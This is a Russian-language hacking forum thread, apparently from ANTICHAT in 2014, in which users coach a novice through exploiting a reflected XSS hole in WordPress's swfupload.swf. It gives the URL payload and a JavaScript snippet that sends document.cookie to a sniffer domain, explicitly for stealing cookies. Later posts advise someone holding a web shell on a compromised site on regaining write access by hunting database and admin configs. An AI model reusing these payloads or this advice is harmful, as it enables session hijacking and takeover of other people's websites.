ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
03.03.2014, 19:31
|
|
Guest
Сообщений: n/a
Провел на форуме:
290351
Репутация:
173
|
|
Сообщение от MaxFast
MaxFast said:
Ищешь уязвимый сайт => подставляешь JS код.
Он имеет ввиду атака через уязвимый flash плагин, но там показан пример ниже
|
|
|
|
03.03.2014, 20:22
|
|
Guest
Сообщений: n/a
Провел на форуме:
6813
Репутация:
0
|
|
это понятно)прописываю
Код:
Code:
http://site/wp-includes/js/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28document.cookie%29;//
даёт мои куки,как я понял.затем написано undefined кликаю,открывается окно заливки файлов. .Но что нужно залить?непосредственно js со сниффером? |
|
|
|
03.03.2014, 20:51
|
|
Guest
Сообщений: n/a
Провел на форуме:
178623
Репутация:
94
|
|
Сообщение от CoolHucker
CoolHucker said:
это понятно)прописываю
Код:
Code:
http://site/wp-includes/js/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28document.cookie%29;//
даёт мои куки,как я понял.затем написано undefined кликаю,открывается окно заливки файлов.
.Но что нужно залить?непосредственно js со сниффером?Ну в интернете тема с XSS изъезженна.
Примитивный JS код:
Код:
Code:
img = new Image();
img.src = "http://доменсниффера.ру/сниффер.gif?"+document.cookie;
|
|
|
|
03.03.2014, 20:57
|
|
Guest
Сообщений: n/a
Провел на форуме:
6813
Репутация:
0
|
|
Сообщение от None
Ну в интернете тема с XSS изъезженна.
Не пинай чайника) нужно залить файл с расширением js,в котором написан этот скрипт)так?
|
|
|
|
03.03.2014, 20:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
178623
Репутация:
94
|
|
Сообщение от CoolHucker
CoolHucker said:
Не пинай чайника) нужно залить файл с расширением js,в котором написан этот скрипт)так?
Если ты можешь залить .html файл с JS кодом и картинкой сниффера - б-га ради.
А так нужно выполнить код в рамках XSS (Именно там где алерт).
|
|
|
|
03.03.2014, 21:02
|
|
Guest
Сообщений: n/a
Провел на форуме:
6813
Репутация:
0
|
|
Сообщение от None
Если ты можешь залить .html файл с JS кодом и картинкой сниффера - б-га ради.
А так нужно выполнить код в рамках XSS (Именно там где алерт).
почитал)вроде понял) благодарю
|
|
|
|
03.03.2014, 23:32
|
|
Guest
Сообщений: n/a
Провел на форуме:
69791
Репутация:
-7
|
|
Подскажите.
Имею шелл на сайте, все права и папки закрытые на запись, но все файлы (и папки) принадлежат пользователю apache, то есть тот же пользователь что и например веб шелл.
На сервере выключены системные команд, и в disable functions стоит функция chmod()
Что можно сделать в данной ситуации, чтобы файлы были снова врайтабельными?
|
|
|
|
04.03.2014, 00:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
15642
Репутация:
6
|
|
Сообщение от Грабитель
Грабитель said:
Подскажите.
Имею шелл на сайте, все права и папки закрытые на запись, но все файлы (и папки) принадлежат пользователю apache, то есть тот же пользователь что и например веб шелл.
На сервере выключены системные команд, и в disable functions стоит функция chmod()
Что можно сделать в данной ситуации, чтобы файлы были снова врайтабельными?
как вариант попробовать изменить дефолтное значение чмод, которая описана вроде в системном файле
|
|
|
|
05.03.2014, 13:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
6813
Репутация:
0
|
|
Подскажите пожалуйста Web сниффер для кражи куки. И ещё ,что нужно вставить вместо слова сниффер или можно оставить так?
Сообщение от None
img = new Image();
img.src = "http://доменсниффера.ру/сниффер.gif?"+document.cookie;
|
|
|
|
05.03.2014, 19:24
|
|
Guest
Сообщений: n/a
Провел на форуме:
114076
Репутация:
54
|
|
Сообщение от None
Имею шелл на сайте, все права и папки закрытые на запись, но все файлы (и папки) принадлежат пользователю apache, то есть тот же пользователь что и например веб шелл.
На сервере выключены системные команд, и в disable functions стоит функция chmod()
Что можно сделать в данной ситуации, чтобы файлы были снова врайтабельными?
Едва ли вообще все закрыто, если сайты не статичны. Загрузка хлама в админках, кеш и прочая фигня обычно доступны для записи. Ищите конфиги от баз и админок, попробуйте пройти через бд.
Сообщение от None
Подскажите пожалуйста Web сниффер для кражи куки. И ещё ,что нужно вставить вместо слова сниффер или можно оставить так?
Годный сниффер реализуется одним лишь веб-сервером. Никакой пхп тут не нужен. Для кук ничего больше не нужно, но, возможно, есть смысл посмотреть в сторону beef.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
